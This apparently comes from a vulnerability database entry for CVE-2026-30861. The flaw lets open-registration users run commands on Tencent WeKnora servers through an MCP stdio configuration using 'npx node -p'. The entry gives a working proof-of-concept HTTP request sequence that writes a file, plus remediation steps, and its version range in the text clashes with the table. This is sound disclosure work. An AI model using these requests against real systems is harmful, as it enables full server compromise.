Vulnerability Database

326,895

Total vulnerabilities in the database

CVE-2026-30861

Summary

A critical unauthenticated remote code execution (RCE) vulnerability exists in the MCP stdio configuration validation introduced in version 2.0.5.

The application allows unrestricted user registration, meaning any attacker can create an account and exploit the command injection flaw. Despite implementing a whitelist for allowed commands (npx, uvx) and blacklists for dangerous arguments and environment variables, the validation can be bypassed using the -p flag with npx node. This allows any attacker to execute arbitrary commands with the application's privileges, leading to complete system compromise.

The vulnerability remained unfixed across multiple releases (2.0.6-2.0.9) before being silently patched in version 2.0.10, without a published CVE, potentially leaving customers unaware.

Details

The application's open registration policy, combined with the vulnerable MCP stdio configuration, creates an unrestricted attack surface. Any attacker can:

  1. Register a new account without restrictions (no email verification, approval process, or rate limiting mentioned)
  2. Obtain API authentication credentials
  3. Exploit the command injection vulnerability to execute arbitrary code

The security patch introduced in commit f7900a5e9a18c99d25cec9589ead9e4e59ce04bb attempts to prevent command injection through:

  1. Command Whitelist: Only uvx and npx are allowed
  2. Argument Blacklist: Blocks dangerous patterns including shells, command chaining, and path traversal
  3. Environment Variable Blacklist: Restricts sensitive variables like LD_PRELOAD, PATH, etc.

However, the patch has a critical flaw: the -p flag in npx node is not explicitly blocked in the DangerousArgPatterns regex list. The -p flag allows Node.js to evaluate and execute arbitrary JavaScript code, effectively bypassing the argument validation.

The vulnerable code flow:

  • ValidateStdioConfig() calls ValidateStdioArgs(args)
  • ValidateStdioArgs() checks each argument against DangerousArgPatterns
  • The pattern list does not include -p or similar execution flags
  • Arguments like ["node", "-p", "require('fs').writeFileSync(...)"] pass validation
  • When executed, npx node -p <payload> executes the JavaScript payload

Timeline of Concern:

  • Version 2.0.5: Initial patch introducing validation (incomplete/bypassable)
  • Versions 2.0.6-2.0.9: Vulnerability persists with no public notification
  • Version 2.0.10 (commit 57d6fea8bc265ad28b385e0158957c870cff4b50): Stdio-based MCP server is disabled entirely.
  • Issue: The hot fix was deployed silently without a CVE publication or security advisory, meaning customers using versions 2.0.5-2.0.9 remained unaware of the critical vulnerability

This silent fix pattern poses significant risks:

  • Customers may not know to update immediately
  • Security scanning tools may not flag the vulnerability without a published CVE
  • Organisations relying on vendor advisories have no record of the issue
  • There is no documented attack history or mitigation guidance for affected versions

PoC

Step 1: Register a new account (unauthenticated)

Step 2: Create a malicious MCP service

POST /api/v1/mcp-services HTTP/1.1 Host: localhost:8080 Authorization: Bearer [JWT_TOKEN_FROM_REGISTRATION] Content-Type: application/json { "name":"rce", "description":"rce", "enabled":true, "transport_type":"stdio", "stdio_config":{ "command":"npx", "args":["node","-p","require('fs').writeFileSync('/tmp/pwned.txt', 'Hacked by attacker')"] }, "env_vars":{} }

Response will contain the service ID (e.g., 087854f4-bde3-4468-8702-4aeb95c868da)

Step 3: Trigger the RCE by testing the service

POST /api/v1/mcp-services/087854f4-bde3-4468-8702-4aeb95c868da/test HTTP/1.1 Host: localhost:8080 Authorization: Bearer [JWT_TOKEN_FROM_REGISTRATION] Content-Type: application/json {}

Step 4: Verify exploitation

On the server, the file /tmp/pwned.txt will be created with content "Hacked by attacker", confirming arbitrary command execution.

Impact

Severity: Critical

Unauthenticated RCE allowing complete server compromise. An attacker can register an account and execute arbitrary commands with full application privileges.

  • Full data breach and system compromise
  • Install malware, backdoors, ransomware
  • Lateral movement to internal systems
  • Versions 2.0.5-2.0.9 vulnerable without notification

Immediate Actions:

  1. Upgrade to 2.0.10+ immediately
  2. Review logs for exploitation since 2.0.5
  3. Check for suspicious MCP configurations
  4. Monitor for unauthorized file creation
  5. Assume breach if compromise suspected

CVSS 3.1 Score

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H → Score: 10.0 (Critical)

  • Attack Vector (AV): Network - exploitable remotely via API
  • Attack Complexity (AC): Low - straightforward bypass, no race conditions
  • Privileges Required (PR): None - unauthenticated attack via open registration
  • User Interaction (UI): None - no user interaction needed
  • Scope (S): Changed - impacts resources beyond the vulnerable component
  • Confidentiality (C): High - full server access
  • Integrity (I): High - can modify/create files
  • Availability (A): High - can delete files or crash service

CVSS v3:

  • Severity: Unknown
  • Score:
  • AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CWEs:

OWASP TOP 10:

Software From Fixed in
Go icon github.com/Tencent/WeKnora 0.2.6 0.2.10

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.